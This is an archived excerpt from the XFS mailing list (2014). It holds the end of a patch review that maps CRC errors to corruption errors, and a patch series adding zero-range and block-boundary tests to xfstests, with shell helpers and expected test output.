xlog_recover_commit_trans(). This calls into xfs_buf_read() and ultimately uses bp->b_error directly in xlog_recover_inode_pass2(). That said, I don't see any crc checking in these verifiers and thus they don't source EFSBADCRC. Looks good to me... Reviewed-by: Brian Foster > fs/xfs/xfs_mount.c | 3 +++ > fs/xfs/xfs_symlink.c | 4 ++++ > fs/xfs/xfs_trans_buf.c | 11 +++++++++++ > 3 files changed, 18 insertions(+) > > diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c > index f96c056..993cb19 100644 > --- a/fs/xfs/xfs_mount.c > +++ b/fs/xfs/xfs_mount.c > @@ -314,6 +314,9 @@ reread: > error = bp->b_error; > if (loud) > xfs_warn(mp, "SB validate failed with error %d.", error); > + /* bad CRC means corrupted metadata */ > + if (error == EFSBADCRC) > + error = EFSCORRUPTED; > goto release_buf; > } > > diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c > index 14e58f2..5fda189 100644 > --- a/fs/xfs/xfs_symlink.c > +++ b/fs/xfs/xfs_symlink.c > @@ -80,6 +80,10 @@ xfs_readlink_bmap( > if (error) { > xfs_buf_ioerror_alert(bp, __func__); > xfs_buf_relse(bp); > + > + /* bad CRC means corrupted metadata */ > + if (error == EFSBADCRC) > + error = EFSCORRUPTED; > goto out; > } > byte_cnt = XFS_SYMLINK_BUF_SPACE(mp, byte_cnt); > diff --git a/fs/xfs/xfs_trans_buf.c b/fs/xfs/xfs_trans_buf.c > index 647b6f1..b8eef05 100644 > --- a/fs/xfs/xfs_trans_buf.c > +++ b/fs/xfs/xfs_trans_buf.c > @@ -275,6 +275,10 @@ xfs_trans_read_buf_map( > XFS_BUF_UNDONE(bp); > xfs_buf_stale(bp); > xfs_buf_relse(bp); > + > + /* bad CRC means corrupted metadata */ > + if (error == EFSBADCRC) > + error = EFSCORRUPTED; > return error; > } > #ifdef DEBUG > @@ -338,6 +342,9 @@ xfs_trans_read_buf_map( > if (tp->t_flags & XFS_TRANS_DIRTY) > xfs_force_shutdown(tp->t_mountp, > SHUTDOWN_META_IO_ERROR); > + /* bad CRC means corrupted metadata */ > + if (error == EFSBADCRC) > + error = EFSCORRUPTED; > return error; > } > } > @@ -375,6 +382,10 @@ xfs_trans_read_buf_map( > if (tp->t_flags & XFS_TRANS_DIRTY) > xfs_force_shutdown(tp->t_mountp, SHUTDOWN_META_IO_ERROR); > xfs_buf_relse(bp); > + > + /* bad CRC means corrupted metadata */ > + if (error == EFSBADCRC) > + error = EFSCORRUPTED; > return error; > } > #ifdef DEBUG > -- > 1.9.0 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From lczerner@redhat.com Wed Mar 5 09:51:53 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3ADCD7F3F for ; Wed, 5 Mar 2014 09:51:53 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id BA02FAC009 for ; Wed, 5 Mar 2014 07:51:52 -0800 (PST) X-ASG-Debug-ID: 1394034711-04cbb054b6ab890001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ZU93VMi6aODs11o4 for ; Wed, 05 Mar 2014 07:51:51 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s25FpmbV013219 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 5 Mar 2014 10:51:49 -0500 Received: from localhost.localdomain.com (vpn1-6-48.ams2.redhat.com [10.36.6.48]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s25FpkuM022264; Wed, 5 Mar 2014 10:51:46 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, lczerner@redhat.com Subject: [PATCH v2 0/8] Add tests for zero range into xfstests Date: Wed, 5 Mar 2014 16:51:31 +0100 X-ASG-Orig-Subj: [PATCH v2 0/8] Add tests for zero range into xfstests Message-Id: <1394034699-21187-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1394034711 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hi, this patch set adds two new test for zero range into xfstests - generic/008 and ext4/001. It also adds zero range support for fsstress and fsx. Thanks! -Lukas Changes in v2: - fsstress print left over flag values - rework test_fallocate() to work properly From lczerner@redhat.com Wed Mar 5 09:51:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 080BA7F3F for ; Wed, 5 Mar 2014 09:51:54 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id AAA0FAC009 for ; Wed, 5 Mar 2014 07:51:53 -0800 (PST) X-ASG-Debug-ID: 1394034712-04bdf05dac2bef50001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Q8ssgNanwTs2jFIs for ; Wed, 05 Mar 2014 07:51:52 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s25Fpq0l019666 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 5 Mar 2014 10:51:52 -0500 Received: from localhost.localdomain.com (vpn1-6-48.ams2.redhat.com [10.36.6.48]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s25FpkuN022264; Wed, 5 Mar 2014 10:51:49 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, lczerner@redhat.com Subject: [PATCH v2 1/8] xfstests: Create single function for testing xfs_io commands Date: Wed, 5 Mar 2014 16:51:32 +0100 X-ASG-Orig-Subj: [PATCH v2 1/8] xfstests: Create single function for testing xfs_io commands Message-Id: <1394034699-21187-2-git-send-email-lczerner@redhat.com> In-Reply-To: <1394034699-21187-1-git-send-email-lczerner@redhat.com> References: <1394034699-21187-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1394034712 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Currently there are several function testing various xfs_io commands. This commit creates _require_xfs_io_command() to test any xfs_command. Signed-off-by: Lukas Czerner --- common/rc | 72 +++++++++++++++++++++++++++++++++------------------------------ 1 file changed, 38 insertions(+), 34 deletions(-) diff --git a/common/rc b/common/rc index f2c3c3a..7f530d0 100644 --- a/common/rc +++ b/common/rc @@ -1296,12 +1296,43 @@ _user_do() fi } +_require_xfs_io_command() +{ + if [ $# -ne 1 ] + then + echo "Usage: _require_xfs_io_command command" 1>&2 + exit 1 + fi + command=$1 + + testfile=$TEST_DIR/$$.xfs_io + case $command in + "falloc" ) + testio=`$XFS_IO_PROG -F -f -c "falloc 0 1m" $testfile 2>&1` + ;; + "fpunch" | "fcollapse" | "zero" ) + testio=`$XFS_IO_PROG -F -f -c "pwrite 0 20k" -c "fsync" \ + -c "$command 4k 8k" $testfile 2>&1` + ;; + "fiemap") + testio=`$XFS_IO_PROG -F -f -c "pwrite 0 20k" -c "fsync" \ + -c "fiemap -v" $testfile 2>&1` + ;; + *) + testio=`$XFS_IO_PROG -c "$command help" 2>&1` + esac + + rm -f $testfile 2>&1 > /dev/null + echo $testio | grep -q "not found" && \ + _notrun "xfs_io $command support is missing" + echo $testio | grep -q "Operation not supported" && \ + _notrun "xfs_io $command failed (old kernel/wrong fs?)" +} + # check that xfs_io, kernel, and filesystem all support zero _require_xfs_io_zero() { - testio=`$XFS_IO_PROG -c "zero help" 2>&1` - echo $testio | grep -q 'command "zero" not found' && \ - _notrun "zero command not supported" + _require_xfs_io_command "zero" } # check that xfs_io, glibc, kernel, and filesystem all (!) support @@ -1309,54 +1340,27 @@ _require_xfs_io_zero() # _require_xfs_io_falloc() { - testfile=$TEST_DIR/$$.falloc - testio=`$XFS_IO_PROG -F -f -c "falloc 0 1m" $testfile 2>&1` - rm -f $testfile 2>&1 > /dev/null - echo $testio | grep -q "not found" && \ - _notrun "xfs_io fallocate support is missing" - echo $testio | grep -q "Operation not supported" && \ - _notrun "xfs_io fallocate command failed (old kernel/wrong fs?)" + _require_xfs_io_command "falloc" } # check that xfs_io, kernel and filesystem all support fallocate with hole # punching _require_xfs_io_falloc_punch() { - testfile=$TEST_DIR/$$.falloc - testio=`$XFS_IO_PROG -F -f -c "pwrite 0 20k" -c "fsync" \ - -c "fpunch 4k 8k" $testfile 2>&1` - rm -f $testfile 2>&1 > /dev/null - echo $testio | grep -q "not found" && \ - _notrun "xfs_io fallocate punch support is missing" - echo $testio | grep -q "Operation not supported" && \ - _notrun "xfs_io fallocate punch command failed (no fs support?)" + _require_xfs_io_command "fpunch" } # check that xfs_io, kernel and filesystem all support fallocate with collapse # range _require_xfs_io_falloc_collapse() { - testfile=$TEST_DIR/$$.falloc - testio=`$XFS_IO_PROG -f -c "pwrite 0 20k" -c "fsync" \ - -c "fcollapse 4k 8k" $testfile 2>&1` - rm -f $testfile 2>&1 > /dev/null - echo $testio | grep -q "not found" && \ - _notrun "xfs_io fallocate collapse range support is missing" - echo $testio | grep -q "Operation not supported" && \ - _notrun "xfs_io fallocate collapse range failed (no fs support?)" + _require_xfs_io_command "fcollapse" } # check that xfs_io, kernel and filesystem support fiemap _require_xfs_io_fiemap() { - testfile=$TEST_DIR/$$.fiemap - testio=`$XFS_IO_PROG -F -f -c "pwrite 0 20k" -c "fsync" \ - -c "fiemap -v" $testfile 2>&1` - rm -f $testfile 2>&1 > /dev/null - echo $testio | grep -q "not found" && \ - _notrun "xfs_io fiemap support is missing" - echo $testio | grep -q "Operation not supported" && \ - _notrun "xfs_io fiemap command failed (no fs support?)" + _require_xfs_io_command "fiemap" } # Check that a fs has enough free space (in 1024b blocks) -- 1.8.3.1 From lczerner@redhat.com Wed Mar 5 09:51:57 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DB2937F59 for ; Wed, 5 Mar 2014 09:51:57 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id A3E208F8070 for ; Wed, 5 Mar 2014 07:51:57 -0800 (PST) X-ASG-Debug-ID: 1394034716-04bdf05da92bef60001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id zHlYRC4VBl8coePj for ; Wed, 05 Mar 2014 07:51:56 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s25FpsPr013527 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 5 Mar 2014 10:51:55 -0500 Received: from localhost.localdomain.com (vpn1-6-48.ams2.redhat.com [10.36.6.48]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s25FpkuO022264; Wed, 5 Mar 2014 10:51:52 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, lczerner@redhat.com Subject: [PATCH v2 2/8] xfstests: create _test_block_boundaries in common/punch Date: Wed, 5 Mar 2014 16:51:33 +0100 X-ASG-Orig-Subj: [PATCH v2 2/8] xfstests: create _test_block_boundaries in common/punch Message-Id: <1394034699-21187-3-git-send-email-lczerner@redhat.com> In-Reply-To: <1394034699-21187-1-git-send-email-lczerner@redhat.com> References: <1394034699-21187-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1394034716 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Create new function _test_block_boundaries() which is testing content of the blocks after the operation such as zero, or punch hole. The test is doing the operation around block boundaries to assure correct behaviour of the operation on block unaligned ranges. This has been based on test xfs/290 which has been changed to use this new function. A small change to the output file was required. Signed-off-by: Lukas Czerner --- common/punch | 106 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/xfs/290 | 40 ++------------------- tests/xfs/290.out | 13 +++++-- 3 files changed, 119 insertions(+), 40 deletions(-) diff --git a/common/punch b/common/punch index 9340d3b..f2d538c 100644 --- a/common/punch +++ b/common/punch @@ -566,3 +566,109 @@ _test_generic_punch() [ $? -ne 0 ] && die_now od -x $testfile | head -n -1 } + +_test_block_boundaries() +{ + + remove_testfile=1 + sync_cmd="-c fsync" + unwritten_tests=1 + OPTIND=1 + while getopts 'dk' OPTION + do + case $OPTION in + k) remove_testfile= + ;; + d) sync_cmd= + ;; + ?) echo Invalid flag + exit 1 + ;; + esac + done + shift $(($OPTIND - 1)) + + bs=$1 + zero_cmd=$2 + filter_cmd=$3 + testfile=$4 + + # Block size plus 1 + bs_p1=$(($bs + 1)) + # Block size plus 2 + bs_p2=$(($bs + 2)) + + # Block size minus 1 + bs_m1=$(($bs - 1)) + + # Block size multiplied by 2 + bs_t2=$(($bs * 2)) + + # Block size divided by 2 + bs_d2=$(($bs / 2)) + + echo "zero 0, 1" + $XFS_IO_PROG -f -t -c "pwrite -S 0x41 0 $bs" \ + -c "pwrite -S 0x42 $bs $bs" \ + -c "$zero_cmd 0 1" \ + -c "pread -v 0 $bs_t2" \ + $testfile | $filter_cmd + + echo "zero 0, $bs_m1" + $XFS_IO_PROG -f -t -c "pwrite -S 0x41 0 $bs" \ + -c "pwrite -S 0x42 $bs $bs" \ + -c "$zero_cmd 0 $bs_m1" \ + -c "pread -v 0 $bs_t2" \ + $testfile | $filter_cmd + + echo "zero 0, $bs" + $XFS_IO_PROG -f -t -c "pwrite -S 0x41 0 $bs" \ + -c "pwrite -S 0x42 $bs $bs" \ + -c "$zero_cmd 0 $bs" \ + -c "pread -v 0 $bs_t2" \ + $testfile | $filter_cmd + + echo "zero 0, $bs_p1" + $XFS_IO_PROG -f -t -c "pwrite -S 0x41 0 $bs" \ + -c "pwrite -S 0x42 $bs $bs" \ + -c "$zero_cmd 0 $bs_p1" \ + -c "pread -v 0 $bs_t2" \ + $testfile | $filter_cmd + + echo "zero $bs_m1, $bs" + $XFS_IO_PROG -f -t -c "pwrite -S 0x41 0 $bs" \ + -c "pwrite -S 0x42 $bs $bs" \ + -c "$zero_cmd $bs_m1 $bs" \ + -c "pread -v 0 $bs_t2" \ + $testfile | $filter_cmd + + echo "zero $bs_m1, $bs_p1" + $XFS_IO_PROG -f -t -c "pwrite -S 0x41 0 $bs" \ + -c "pwrite -S 0x42 $bs $bs" \ + -c "$zero_cmd $bs_m1 $bs_p1" \ + -c "pread -v 0 $bs_t2" \ + $testfile | $filter_cmd + + echo "zero $bs_m1, $bs_p2" + $XFS_IO_PROG -f -t -c "pwrite -S 0x41 0 $bs" \ + -c "pwrite -S 0x42 $bs $bs" \ + -c "$zero_cmd $bs_m1 $bs_p2" \ + -c "pread -v 0 $bs_t2" \ + $testfile | $filter_cmd + + + echo "zero $bs, $bs" + $XFS_IO_PROG -f -t -c "pwrite -S 0x41 0 $bs" \ + -c "pwrite -S 0x42 $bs $bs" \ + -c "$zero_cmd $bs $bs" \ + -c "pread -v 0 $bs_t2" \ + $testfile | $filter_cmd + + + echo "zero $bs_d2 , $bs" + $XFS_IO_PROG -f -t -c "pwrite -S 0x41 0 $bs" \ + -c "pwrite -S 0x42 $bs $bs" \ + -c "$zero_cmd $bs_d2 $bs" \ + -c "pread -v 0 $bs_t2" \ + $testfile | $filter_cmd +} diff --git a/tests/xfs/290 b/tests/xfs/290 index 547a0ba..cbe7108 100755 --- a/tests/xfs/290 +++ b/tests/xfs/290 @@ -38,6 +38,7 @@ trap "exit \$status" 0 1 2 3 15 # get standard environment, filters and checks . ./common/rc . ./common/filter +. ./common/punch # real QA test starts here @@ -49,44 +50,7 @@ _require_xfs_io_zero testfile=$TEST_DIR/290.$$ -test_zero() -{ - zero_start=$1 - zero_len=$2 - - $XFS_IO_PROG -f -t -c "pwrite -S 0x41 0 4096" \ - -c "pwrite -S 0x42 4096 4096" \ - -c "zero $zero_start $zero_len" \ - -c "pread -v 0 8192" \ - $testfile | _filter_xfs_io_unique -} - -# [0,1] -- Shouldn't toss anything -test_zero 0 1 - -#[0,4095] -- Shouldn't toss anything -test_zero 0 4095 - -#[0,4096] -- Should toss first page -test_zero 0 4096 - -#[0,4097] -- Should toss first page -test_zero 0 4097 - -#[4095,8191] -- Should toss last byte of first page -test_zero 4095 4096 - -#[4095,8192] -- Should toss second page & last byte of first page -test_zero 4095 4097 - -#[4095,8193] -- Should toss second page & last byte of first page -test_zero 4095 4098 - -#[4096,8192] -- Should toss second page -test_zero 4096 4096 - -#[1024,5120] -- Should toss from 1024 to end of first page -test_zero 1024 4096 +_test_block_boundaries 4096 zero _filter_xfs_io_unique $testfile # success, all done status=0 diff --git a/tests/xfs/290.out b/tests/xfs/290.out index 229c2b3..2487a93 100644 --- a/tests/xfs/290.out +++ b/tests/xfs/290.out @@ -1,4 +1,5 @@ QA output created by 290 +zero 0, 1 wrote 4096/4096 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) wrote 4096/4096 bytes at offset 4096 @@ -10,6 +11,7 @@ XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) * read 8192/8192 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 4095 wrote 4096/4096 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) wrote 4096/4096 bytes at offset 4096 @@ -21,6 +23,7 @@ XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) * read 8192/8192 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 4096 wrote 4096/4096 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) wrote 4096/4096 bytes at offset 4096 @@ -31,6 +34,7 @@ XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) * read 8192/8192 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 4097 wrote 4096/4096 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) wrote 4096/4096 bytes at offset 4096 @@ -42,6 +46,7 @@ XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) * read 8192/8192 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 4095, 4096 wrote 4096/4096 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) wrote 4096/4096 bytes at offset 4096 @@ -54,6 +59,7 @@ XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) 00001ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 ...............B read 8192/8192 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 4095, 4097 wrote 4096/4096 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) wrote 4096/4096 bytes at offset 4096 @@ -65,6 +71,7 @@ XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) * read 8192/8192 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 4095, 4098 wrote 4096/4096 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) wrote 4096/4096 bytes at offset 4096 @@ -76,6 +83,7 @@ XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) * read 8192/8192 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 4096, 4096 wrote 4096/4096 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) wrote 4096/4096 bytes at offset 4096 @@ -86,15 +94,16 @@ XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) * read 8192/8192 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 2048 , 4096 wrote 4096/4096 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) wrote 4096/4096 bytes at offset 4096 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA * -00000400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +00000800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ * -00001400: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +00001800: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB * read 8192/8192 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) -- 1.8.3.1 From lczerner@redhat.com Wed Mar 5 09:51:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E521A7F5F for ; Wed, 5 Mar 2014 09:51:59 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id CBAD38F8078 for ; Wed, 5 Mar 2014 07:51:59 -0800 (PST) X-ASG-Debug-ID: 1394034718-04cb6c567729b070001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id xuQLM7mGqGvy43ZE for ; Wed, 05 Mar 2014 07:51:58 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s25FpvqA016193 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 5 Mar 2014 10:51:58 -0500 Received: from localhost.localdomain.com (vpn1-6-48.ams2.redhat.com [10.36.6.48]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s25FpkuP022264; Wed, 5 Mar 2014 10:51:55 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, lczerner@redhat.com Subject: [PATCH v2 3/8] generic/008: Add test for fallocate zero range at block boundary Date: Wed, 5 Mar 2014 16:51:34 +0100 X-ASG-Orig-Subj: [PATCH v2 3/8] generic/008: Add test for fallocate zero range at block boundary Message-Id: <1394034699-21187-4-git-send-email-lczerner@redhat.com> In-Reply-To: <1394034699-21187-1-git-send-email-lczerner@redhat.com> References: <1394034699-21187-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1394034718 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Add test for fallocate zero range at block boundary. This is similar to the test xfs/290 however this one is generic and we're testing different block sizes as well - namely 1k, 2k, 4k and 64k. Note that we're not creating file systems with given block size buy rather test all 4 options. Signed-off-by: Lukas Czerner --- common/rc | 2 +- tests/generic/008 | 57 +++++++ tests/generic/008.out | 433 ++++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/group | 1 + 4 files changed, 492 insertions(+), 1 deletion(-) create mode 100755 tests/generic/008 create mode 100644 tests/generic/008.out diff --git a/common/rc b/common/rc index 7f530d0..70b8ff5 100644 --- a/common/rc +++ b/common/rc @@ -1310,7 +1310,7 @@ _require_xfs_io_command() "falloc" ) testio=`$XFS_IO_PROG -F -f -c "falloc 0 1m" $testfile 2>&1` ;; - "fpunch" | "fcollapse" | "zero" ) + "fpunch" | "fcollapse" | "zero" | "fzero" ) testio=`$XFS_IO_PROG -F -f -c "pwrite 0 20k" -c "fsync" \ -c "$command 4k 8k" $testfile 2>&1` ;; diff --git a/tests/generic/008 b/tests/generic/008 new file mode 100755 index 0000000..65e1661 --- /dev/null +++ b/tests/generic/008 @@ -0,0 +1,57 @@ +#! /bin/bash +# FS QA Test No. 008 +# +# Makes calls to fallocate zero range and checks tossed ranges +# +# Primarily tests page boundries and boundries that are +# off-by-one to ensure we're only tossing what's expected +# +#----------------------------------------------------------------------- +# Copyright 2014 (C) Red Hat, Inc., Lukas Czerner +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here + +# Modify as appropriate. +_supported_os Linux + +_require_xfs_io_command "fzero" + +testfile=$TEST_DIR/008.$$ + +_test_block_boundaries 1024 fzero _filter_xfs_io_unique $testfile +_test_block_boundaries 2048 fzero _filter_xfs_io_unique $testfile +_test_block_boundaries 4096 fzero _filter_xfs_io_unique $testfile +_test_block_boundaries 65536 fzero _filter_xfs_io_unique $testfile + +# success, all done +status=0 +exit diff --git a/tests/generic/008.out b/tests/generic/008.out new file mode 100644 index 0000000..0c3fb53 --- /dev/null +++ b/tests/generic/008.out @@ -0,0 +1,433 @@ +QA output created by 008 +zero 0, 1 +wrote 1024/1024 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 1024/1024 bytes at offset 1024 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAA +00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00000400: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 2048/2048 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) 